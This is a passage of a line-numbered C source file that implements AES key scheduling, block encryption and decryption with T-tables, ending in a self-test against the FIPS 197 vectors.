V(2D,B6,A8,B9), V(14,1E,A9,C8), \ 206 | V(57,F1,19,85), V(AF,75,07,4C), V(EE,99,DD,BB), V(A3,7F,60,FD), \ 207 | V(F7,01,26,9F), V(5C,72,F5,BC), V(44,66,3B,C5), V(5B,FB,7E,34), \ 208 | V(8B,43,29,76), V(CB,23,C6,DC), V(B6,ED,FC,68), V(B8,E4,F1,63), \ 209 | V(D7,31,DC,CA), V(42,63,85,10), V(13,97,22,40), V(84,C6,11,20), \ 210 | V(85,4A,24,7D), V(D2,BB,3D,F8), V(AE,F9,32,11), V(C7,29,A1,6D), \ 211 | V(1D,9E,2F,4B), V(DC,B2,30,F3), V(0D,86,52,EC), V(77,C1,E3,D0), \ 212 | V(2B,B3,16,6C), V(A9,70,B9,99), V(11,94,48,FA), V(47,E9,64,22), \ 213 | V(A8,FC,8C,C4), V(A0,F0,3F,1A), V(56,7D,2C,D8), V(22,33,90,EF), \ 214 | V(87,49,4E,C7), V(D9,38,D1,C1), V(8C,CA,A2,FE), V(98,D4,0B,36), \ 215 | V(A6,F5,81,CF), V(A5,7A,DE,28), V(DA,B7,8E,26), V(3F,AD,BF,A4), \ 216 | V(2C,3A,9D,E4), V(50,78,92,0D), V(6A,5F,CC,9B), V(54,7E,46,62), \ 217 | V(F6,8D,13,C2), V(90,D8,B8,E8), V(2E,39,F7,5E), V(82,C3,AF,F5), \ 218 | V(9F,5D,80,BE), V(69,D0,93,7C), V(6F,D5,2D,A9), V(CF,25,12,B3), \ 219 | V(C8,AC,99,3B), V(10,18,7D,A7), V(E8,9C,63,6E), V(DB,3B,BB,7B), \ 220 | V(CD,26,78,09), V(6E,59,18,F4), V(EC,9A,B7,01), V(83,4F,9A,A8), \ 221 | V(E6,95,6E,65), V(AA,FF,E6,7E), V(21,BC,CF,08), V(EF,15,E8,E6), \ 222 | V(BA,E7,9B,D9), V(4A,6F,36,CE), V(EA,9F,09,D4), V(29,B0,7C,D6), \ 223 | V(31,A4,B2,AF), V(2A,3F,23,31), V(C6,A5,94,30), V(35,A2,66,C0), \ 224 | V(74,4E,BC,37), V(FC,82,CA,A6), V(E0,90,D0,B0), V(33,A7,D8,15), \ 225 | V(F1,04,98,4A), V(41,EC,DA,F7), V(7F,CD,50,0E), V(17,91,F6,2F), \ 226 | V(76,4D,D6,8D), V(43,EF,B0,4D), V(CC,AA,4D,54), V(E4,96,04,DF), \ 227 | V(9E,D1,B5,E3), V(4C,6A,88,1B), V(C1,2C,1F,B8), V(46,65,51,7F), \ 228 | V(9D,5E,EA,04), V(01,8C,35,5D), V(FA,87,74,73), V(FB,0B,41,2E), \ 229 | V(B3,67,1D,5A), V(92,DB,D2,52), V(E9,10,56,33), V(6D,D6,47,13), \ 230 | V(9A,D7,61,8C), V(37,A1,0C,7A), V(59,F8,14,8E), V(EB,13,3C,89), \ 231 | V(CE,A9,27,EE), V(B7,61,C9,35), V(E1,1C,E5,ED), V(7A,47,B1,3C), \ 232 | V(9C,D2,DF,59), V(55,F2,73,3F), V(18,14,CE,79), V(73,C7,37,BF), \ 233 | V(53,F7,CD,EA), V(5F,FD,AA,5B), V(DF,3D,6F,14), V(78,44,DB,86), \ 234 | V(CA,AF,F3,81), V(B9,68,C4,3E), V(38,24,34,2C), V(C2,A3,40,5F), \ 235 | V(16,1D,C3,72), V(BC,E2,25,0C), V(28,3C,49,8B), V(FF,0D,95,41), \ 236 | V(39,A8,01,71), V(08,0C,B3,DE), V(D8,B4,E4,9C), V(64,56,C1,90), \ 237 | V(7B,CB,84,61), V(D5,32,B6,70), V(48,6C,5C,74), V(D0,B8,57,42) 238 | 239 | #define V(a,b,c,d) 0x##a##b##c##d 240 | static uint32 RT0[256] = { RT }; 241 | #undef V 242 | 243 | #define V(a,b,c,d) 0x##d##a##b##c 244 | static uint32 RT1[256] = { RT }; 245 | #undef V 246 | 247 | #define V(a,b,c,d) 0x##c##d##a##b 248 | static uint32 RT2[256] = { RT }; 249 | #undef V 250 | 251 | #define V(a,b,c,d) 0x##b##c##d##a 252 | static uint32 RT3[256] = { RT }; 253 | #undef V 254 | 255 | /* round constants */ 256 | 257 | static uint32 RCON[10] = 258 | { 259 | 0x01000000, 0x02000000, 0x04000000, 0x08000000, 260 | 0x10000000, 0x20000000, 0x40000000, 0x80000000, 261 | 0x1B000000, 0x36000000 262 | }; 263 | 264 | /* platform-independant 32-bit integer manipulation macros */ 265 | 266 | #define GET_UINT32(n,b,i) \ 267 | { \ 268 | (n) = ( (uint32) (b)[(i) ] << 24 ) \ 269 | | ( (uint32) (b)[(i) + 1] << 16 ) \ 270 | | ( (uint32) (b)[(i) + 2] << 8 ) \ 271 | | ( (uint32) (b)[(i) + 3] ); \ 272 | } 273 | 274 | #define PUT_UINT32(n,b,i) \ 275 | { \ 276 | (b)[(i) ] = (uint8) ( (n) >> 24 ); \ 277 | (b)[(i) + 1] = (uint8) ( (n) >> 16 ); \ 278 | (b)[(i) + 2] = (uint8) ( (n) >> 8 ); \ 279 | (b)[(i) + 3] = (uint8) ( (n) ); \ 280 | } 281 | 282 | /* key scheduling routine */ 283 | 284 | int aes_set_key( struct aes_context *ctx, uint8 *key, int nbits ) 285 | { 286 | int i; 287 | uint32 *RK; 288 | 289 | switch( nbits ) 290 | { 291 | case 128: ctx->nr = 10; break; 292 | case 192: ctx->nr = 12; break; 293 | case 256: ctx->nr = 14; break; 294 | default : return( 1 ); 295 | } 296 | 297 | RK = ctx->erk; 298 | 299 | for( i = 0; i < (nbits >> 5); i++ ) 300 | { 301 | GET_UINT32( RK[i], key, i * 4 ); 302 | } 303 | 304 | /* setup encryption round keys */ 305 | 306 | switch( nbits ) 307 | { 308 | case 128: 309 | 310 | for( i = 0; i < 10; i++, RK += 4 ) 311 | { 312 | RK[4] = RK[0] ^ RCON[i] ^ 313 | ( FSb[ (uint8) ( RK[3] >> 16 ) ] << 24 ) ^ 314 | ( FSb[ (uint8) ( RK[3] >> 8 ) ] << 16 ) ^ 315 | ( FSb[ (uint8) ( RK[3] ) ] << 8 ) ^ 316 | ( FSb[ (uint8) ( RK[3] >> 24 ) ] ); 317 | 318 | RK[5] = RK[1] ^ RK[4]; 319 | RK[6] = RK[2] ^ RK[5]; 320 | RK[7] = RK[3] ^ RK[6]; 321 | } 322 | break; 323 | 324 | case 192: 325 | 326 | for( i = 0; i < 8; i++, RK += 6 ) 327 | { 328 | RK[6] = RK[0] ^ RCON[i] ^ 329 | ( FSb[ (uint8) ( RK[5] >> 16 ) ] << 24 ) ^ 330 | ( FSb[ (uint8) ( RK[5] >> 8 ) ] << 16 ) ^ 331 | ( FSb[ (uint8) ( RK[5] ) ] << 8 ) ^ 332 | ( FSb[ (uint8) ( RK[5] >> 24 ) ] ); 333 | 334 | RK[7] = RK[1] ^ RK[6]; 335 | RK[8] = RK[2] ^ RK[7]; 336 | RK[9] = RK[3] ^ RK[8]; 337 | RK[10] = RK[4] ^ RK[9]; 338 | RK[11] = RK[5] ^ RK[10]; 339 | } 340 | break; 341 | 342 | case 256: 343 | 344 | for( i = 0; i < 7; i++, RK += 8 ) 345 | { 346 | RK[8] = RK[0] ^ RCON[i] ^ 347 | ( FSb[ (uint8) ( RK[7] >> 16 ) ] << 24 ) ^ 348 | ( FSb[ (uint8) ( RK[7] >> 8 ) ] << 16 ) ^ 349 | ( FSb[ (uint8) ( RK[7] ) ] << 8 ) ^ 350 | ( FSb[ (uint8) ( RK[7] >> 24 ) ] ); 351 | 352 | RK[9] = RK[1] ^ RK[8]; 353 | RK[10] = RK[2] ^ RK[9]; 354 | RK[11] = RK[3] ^ RK[10]; 355 | 356 | RK[12] = RK[4] ^ 357 | ( FSb[ (uint8) ( RK[11] >> 24 ) ] << 24 ) ^ 358 | ( FSb[ (uint8) ( RK[11] >> 16 ) ] << 16 ) ^ 359 | ( FSb[ (uint8) ( RK[11] >> 8 ) ] << 8 ) ^ 360 | ( FSb[ (uint8) ( RK[11] ) ] ); 361 | 362 | RK[13] = RK[5] ^ RK[12]; 363 | RK[14] = RK[6] ^ RK[13]; 364 | RK[15] = RK[7] ^ RK[14]; 365 | } 366 | break; 367 | } 368 | 369 | /* setup decryption round keys */ 370 | 371 | for( i = 0; i <= ctx->nr; i++ ) 372 | { 373 | ctx->drk[i * 4 ] = ctx->erk[( ctx->nr - i ) * 4 ]; 374 | ctx->drk[i * 4 + 1] = ctx->erk[( ctx->nr - i ) * 4 + 1]; 375 | ctx->drk[i * 4 + 2] = ctx->erk[( ctx->nr - i ) * 4 + 2]; 376 | ctx->drk[i * 4 + 3] = ctx->erk[( ctx->nr - i ) * 4 + 3]; 377 | } 378 | 379 | for( i = 1, RK = ctx->drk + 4; i < ctx->nr; i++, RK += 4 ) 380 | { 381 | RK[0] = RT0[ FSb[ (uint8) ( RK[0] >> 24 ) ] ] ^ 382 | RT1[ FSb[ (uint8) ( RK[0] >> 16 ) ] ] ^ 383 | RT2[ FSb[ (uint8) ( RK[0] >> 8 ) ] ] ^ 384 | RT3[ FSb[ (uint8) ( RK[0] ) ] ]; 385 | 386 | RK[1] = RT0[ FSb[ (uint8) ( RK[1] >> 24 ) ] ] ^ 387 | RT1[ FSb[ (uint8) ( RK[1] >> 16 ) ] ] ^ 388 | RT2[ FSb[ (uint8) ( RK[1] >> 8 ) ] ] ^ 389 | RT3[ FSb[ (uint8) ( RK[1] ) ] ]; 390 | 391 | RK[2] = RT0[ FSb[ (uint8) ( RK[2] >> 24 ) ] ] ^ 392 | RT1[ FSb[ (uint8) ( RK[2] >> 16 ) ] ] ^ 393 | RT2[ FSb[ (uint8) ( RK[2] >> 8 ) ] ] ^ 394 | RT3[ FSb[ (uint8) ( RK[2] ) ] ]; 395 | 396 | RK[3] = RT0[ FSb[ (uint8) ( RK[3] >> 24 ) ] ] ^ 397 | RT1[ FSb[ (uint8) ( RK[3] >> 16 ) ] ] ^ 398 | RT2[ FSb[ (uint8) ( RK[3] >> 8 ) ] ] ^ 399 | RT3[ FSb[ (uint8) ( RK[3] ) ] ]; 400 | } 401 | 402 | return( 0 ); 403 | } 404 | 405 | /* 128-bit block encryption routine */ 406 | 407 | void aes_encrypt( struct aes_context *ctx, uint8 data[16] ) 408 | { 409 | uint32 *RK, X0, X1, X2, X3, Y0, Y1, Y2, Y3; 410 | 411 | RK = ctx->erk; 412 | 413 | GET_UINT32( X0, data, 0 ); X0 ^= RK[0]; 414 | GET_UINT32( X1, data, 4 ); X1 ^= RK[1]; 415 | GET_UINT32( X2, data, 8 ); X2 ^= RK[2]; 416 | GET_UINT32( X3, data, 12 ); X3 ^= RK[3]; 417 | 418 | #define FROUND(X0,X1,X2,X3,Y0,Y1,Y2,Y3) \ 419 | { \ 420 | RK += 4; \ 421 | \ 422 | X0 = RK[0] ^ FT0[ (uint8) ( Y0 >> 24 ) ] ^ \ 423 | FT1[ (uint8) ( Y1 >> 16 ) ] ^ \ 424 | FT2[ (uint8) ( Y2 >> 8 ) ] ^ \ 425 | FT3[ (uint8) ( Y3 ) ]; \ 426 | \ 427 | X1 = RK[1] ^ FT0[ (uint8) ( Y1 >> 24 ) ] ^ \ 428 | FT1[ (uint8) ( Y2 >> 16 ) ] ^ \ 429 | FT2[ (uint8) ( Y3 >> 8 ) ] ^ \ 430 | FT3[ (uint8) ( Y0 ) ]; \ 431 | \ 432 | X2 = RK[2] ^ FT0[ (uint8) ( Y2 >> 24 ) ] ^ \ 433 | FT1[ (uint8) ( Y3 >> 16 ) ] ^ \ 434 | FT2[ (uint8) ( Y0 >> 8 ) ] ^ \ 435 | FT3[ (uint8) ( Y1 ) ]; \ 436 | \ 437 | X3 = RK[3] ^ FT0[ (uint8) ( Y3 >> 24 ) ] ^ \ 438 | FT1[ (uint8) ( Y0 >> 16 ) ] ^ \ 439 | FT2[ (uint8) ( Y1 >> 8 ) ] ^ \ 440 | FT3[ (uint8) ( Y2 ) ]; \ 441 | } 442 | 443 | FROUND( Y0, Y1, Y2, Y3, X0, X1, X2, X3 ); /* round 1 */ 444 | FROUND( X0, X1, X2, X3, Y0, Y1, Y2, Y3 ); /* round 2 */ 445 | FROUND( Y0, Y1, Y2, Y3, X0, X1, X2, X3 ); /* round 3 */ 446 | FROUND( X0, X1, X2, X3, Y0, Y1, Y2, Y3 ); /* round 4 */ 447 | FROUND( Y0, Y1, Y2, Y3, X0, X1, X2, X3 ); /* round 5 */ 448 | FROUND( X0, X1, X2, X3, Y0, Y1, Y2, Y3 ); /* round 6 */ 449 | FROUND( Y0, Y1, Y2, Y3, X0, X1, X2, X3 ); /* round 7 */ 450 | FROUND( X0, X1, X2, X3, Y0, Y1, Y2, Y3 ); /* round 8 */ 451 | FROUND( Y0, Y1, Y2, Y3, X0, X1, X2, X3 ); /* round 9 */ 452 | 453 | if( ctx->nr > 10 ) 454 | { 455 | FROUND( X0, X1, X2, X3, Y0, Y1, Y2, Y3 ); /* round 10 */ 456 | FROUND( Y0, Y1, Y2, Y3, X0, X1, X2, X3 ); /* round 11 */ 457 | } 458 | 459 | if( ctx->nr > 12 ) 460 | { 461 | FROUND( X0, X1, X2, X3, Y0, Y1, Y2, Y3 ); /* round 12 */ 462 | FROUND( Y0, Y1, Y2, Y3, X0, X1, X2, X3 ); /* round 13 */ 463 | } 464 | 465 | /* last round */ 466 | 467 | RK += 4; 468 | 469 | X0 = RK[0] ^ ( FSb[ (uint8) ( Y0 >> 24 ) ] << 24 ) ^ 470 | ( FSb[ (uint8) ( Y1 >> 16 ) ] << 16 ) ^ 471 | ( FSb[ (uint8) ( Y2 >> 8 ) ] << 8 ) ^ 472 | ( FSb[ (uint8) ( Y3 ) ] ); 473 | 474 | X1 = RK[1] ^ ( FSb[ (uint8) ( Y1 >> 24 ) ] << 24 ) ^ 475 | ( FSb[ (uint8) ( Y2 >> 16 ) ] << 16 ) ^ 476 | ( FSb[ (uint8) ( Y3 >> 8 ) ] << 8 ) ^ 477 | ( FSb[ (uint8) ( Y0 ) ] ); 478 | 479 | X2 = RK[2] ^ ( FSb[ (uint8) ( Y2 >> 24 ) ] << 24 ) ^ 480 | ( FSb[ (uint8) ( Y3 >> 16 ) ] << 16 ) ^ 481 | ( FSb[ (uint8) ( Y0 >> 8 ) ] << 8 ) ^ 482 | ( FSb[ (uint8) ( Y1 ) ] ); 483 | 484 | X3 = RK[3] ^ ( FSb[ (uint8) ( Y3 >> 24 ) ] << 24 ) ^ 485 | ( FSb[ (uint8) ( Y0 >> 16 ) ] << 16 ) ^ 486 | ( FSb[ (uint8) ( Y1 >> 8 ) ] << 8 ) ^ 487 | ( FSb[ (uint8) ( Y2 ) ] ); 488 | 489 | PUT_UINT32( X0, data, 0 ); 490 | PUT_UINT32( X1, data, 4 ); 491 | PUT_UINT32( X2, data, 8 ); 492 | PUT_UINT32( X3, data, 12 ); 493 | } 494 | 495 | /* 128-bit block decryption routine */ 496 | 497 | void aes_decrypt( struct aes_context *ctx, uint8 data[16] ) 498 | { 499 | uint32 *RK, X0, X1, X2, X3, Y0, Y1, Y2, Y3; 500 | 501 | RK = ctx->drk; 502 | 503 | GET_UINT32( X0, data, 0 ); X0 ^= RK[0]; 504 | GET_UINT32( X1, data, 4 ); X1 ^= RK[1]; 505 | GET_UINT32( X2, data, 8 ); X2 ^= RK[2]; 506 | GET_UINT32( X3, data, 12 ); X3 ^= RK[3]; 507 | 508 | #define RROUND(X0,X1,X2,X3,Y0,Y1,Y2,Y3) \ 509 | { \ 510 | RK += 4; \ 511 | \ 512 | X0 = RK[0] ^ RT0[ (uint8) ( Y0 >> 24 ) ] ^ \ 513 | RT1[ (uint8) ( Y3 >> 16 ) ] ^ \ 514 | RT2[ (uint8) ( Y2 >> 8 ) ] ^ \ 515 | RT3[ (uint8) ( Y1 ) ]; \ 516 | \ 517 | X1 = RK[1] ^ RT0[ (uint8) ( Y1 >> 24 ) ] ^ \ 518 | RT1[ (uint8) ( Y0 >> 16 ) ] ^ \ 519 | RT2[ (uint8) ( Y3 >> 8 ) ] ^ \ 520 | RT3[ (uint8) ( Y2 ) ]; \ 521 | \ 522 | X2 = RK[2] ^ RT0[ (uint8) ( Y2 >> 24 ) ] ^ \ 523 | RT1[ (uint8) ( Y1 >> 16 ) ] ^ \ 524 | RT2[ (uint8) ( Y0 >> 8 ) ] ^ \ 525 | RT3[ (uint8) ( Y3 ) ]; \ 526 | \ 527 | X3 = RK[3] ^ RT0[ (uint8) ( Y3 >> 24 ) ] ^ \ 528 | RT1[ (uint8) ( Y2 >> 16 ) ] ^ \ 529 | RT2[ (uint8) ( Y1 >> 8 ) ] ^ \ 530 | RT3[ (uint8) ( Y0 ) ]; \ 531 | } 532 | 533 | RROUND( Y0, Y1, Y2, Y3, X0, X1, X2, X3 ); /* round 1 */ 534 | RROUND( X0, X1, X2, X3, Y0, Y1, Y2, Y3 ); /* round 2 */ 535 | RROUND( Y0, Y1, Y2, Y3, X0, X1, X2, X3 ); /* round 3 */ 536 | RROUND( X0, X1, X2, X3, Y0, Y1, Y2, Y3 ); /* round 4 */ 537 | RROUND( Y0, Y1, Y2, Y3, X0, X1, X2, X3 ); /* round 5 */ 538 | RROUND( X0, X1, X2, X3, Y0, Y1, Y2, Y3 ); /* round 6 */ 539 | RROUND( Y0, Y1, Y2, Y3, X0, X1, X2, X3 ); /* round 7 */ 540 | RROUND( X0, X1, X2, X3, Y0, Y1, Y2, Y3 ); /* round 8 */ 541 | RROUND( Y0, Y1, Y2, Y3, X0, X1, X2, X3 ); /* round 9 */ 542 | 543 | if( ctx->nr > 10 ) 544 | { 545 | RROUND( X0, X1, X2, X3, Y0, Y1, Y2, Y3 ); /* round 10 */ 546 | RROUND( Y0, Y1, Y2, Y3, X0, X1, X2, X3 ); /* round 11 */ 547 | } 548 | 549 | if( ctx->nr > 12 ) 550 | { 551 | RROUND( X0, X1, X2, X3, Y0, Y1, Y2, Y3 ); /* round 12 */ 552 | RROUND( Y0, Y1, Y2, Y3, X0, X1, X2, X3 ); /* round 13 */ 553 | } 554 | 555 | /* last round */ 556 | 557 | RK += 4; 558 | 559 | X0 = RK[0] ^ ( RSb[ (uint8) ( Y0 >> 24 ) ] << 24 ) ^ 560 | ( RSb[ (uint8) ( Y3 >> 16 ) ] << 16 ) ^ 561 | ( RSb[ (uint8) ( Y2 >> 8 ) ] << 8 ) ^ 562 | ( RSb[ (uint8) ( Y1 ) ] ); 563 | 564 | X1 = RK[1] ^ ( RSb[ (uint8) ( Y1 >> 24 ) ] << 24 ) ^ 565 | ( RSb[ (uint8) ( Y0 >> 16 ) ] << 16 ) ^ 566 | ( RSb[ (uint8) ( Y3 >> 8 ) ] << 8 ) ^ 567 | ( RSb[ (uint8) ( Y2 ) ] ); 568 | 569 | X2 = RK[2] ^ ( RSb[ (uint8) ( Y2 >> 24 ) ] << 24 ) ^ 570 | ( RSb[ (uint8) ( Y1 >> 16 ) ] << 16 ) ^ 571 | ( RSb[ (uint8) ( Y0 >> 8 ) ] << 8 ) ^ 572 | ( RSb[ (uint8) ( Y3 ) ] ); 573 | 574 | X3 = RK[3] ^ ( RSb[ (uint8) ( Y3 >> 24 ) ] << 24 ) ^ 575 | ( RSb[ (uint8) ( Y2 >> 16 ) ] << 16 ) ^ 576 | ( RSb[ (uint8) ( Y1 >> 8 ) ] << 8 ) ^ 577 | ( RSb[ (uint8) ( Y0 ) ] ); 578 | 579 | PUT_UINT32( X0, data, 0 ); 580 | PUT_UINT32( X1, data, 4 ); 581 | PUT_UINT32( X2, data, 8 ); 582 | PUT_UINT32( X3, data, 12 ); 583 | } 584 | 585 | #ifdef TEST 586 | 587 | #include 588 | #include 589 | 590 | /* 591 | * those are the standard FIPS 197 test vectors 592 | */ 593 | 594 | static unsigned char KEYs[3][32] = 595 | { 596 | "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B\x0C\x0D\x0E\x0F", 597 | 598 | "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B\x0C\x0D\x0E\x0F" \ 599 | "\x10\x11\x12\x13\x14\x15\x16\x17", 600 | 601 | "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B\x0C\x0D\x0E\x0F" \ 602 | "\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1A\x1B\x1C\x1D\x1E\x1F" 603 | }; 604 | 605 | static unsigned char PT[16] = 606 | 607 | "\x00\x11\x22\x33\x44\x55\x66\x77\x88\x99\xAA\xBB\xCC\xDD\xEE\xFF"; 608 | 609 | static unsigned char CTs[3][16] = 610 | { 611 | "\x69\xC4\xE0\xD8\x6A\x7B\x04\x30\xD8\xCD\xB7\x80\x70\xB4\xC5\x5A", 612 | "\xDD\xA9\x7C\xA4\x86\x4C\xDF\xE0\x6E\xAF\x70\xA0\xEC\x0D\x71\x91", 613 | "\x8E\xA2\xB7\xCA\x51\x67\x45\xBF\xEA\xFC\x49\x90\x4B\x49\x60\x89" 614 | }; 615 | 616 | int main( void ) 617 | { 618 | int i; 619 | struct aes_context ctx; 620 | unsigned char data[16]; 621 | 622 | for( i = 0; i < 3; i++ ) 623 | { 624 | memcpy( data, PT, 16 ); 625 | 626 | aes_set_key( &ctx, KEYs[i], 128 + i * 64 ); 627 | aes_encrypt( &ctx, data ); 628 | 629 | printf( "encryption test %d ", i + 1 ); 630 | 631 | if( ! memcmp( data, CTs[i], 16 ) ) 632 | { 633 | printf( "passed\n" ); 634 | } 635 | else 636 | { 637 | printf( "failed\n" ); 638 | return( 1 ); 639 | } 640 | } 641 | 642 | for( i = 0; i < 3; i++ ) 643 | { 644 | memcpy( data, CTs[i], 16 ); 645 | 646 | aes_set_key( &ctx, KEYs[i], 128 + i * 64 ); 647 | aes_decrypt( &ctx, data ); 648 | 649 | printf( "decryption test %d ", i + 1 ); 650 | 651 | if( ! memcmp( data, PT, 16 ) ) 652 | { 653 | printf( "passed\n" ); 654 | } 655 | else 656 | { 657 | printf( "failed\n" ); 658 | return( 1 ); 659 | } 660 | } 661 | 662 | return( 0 ); 663 | } 664 | #endif 665 | --------------------------------------------------------------------------------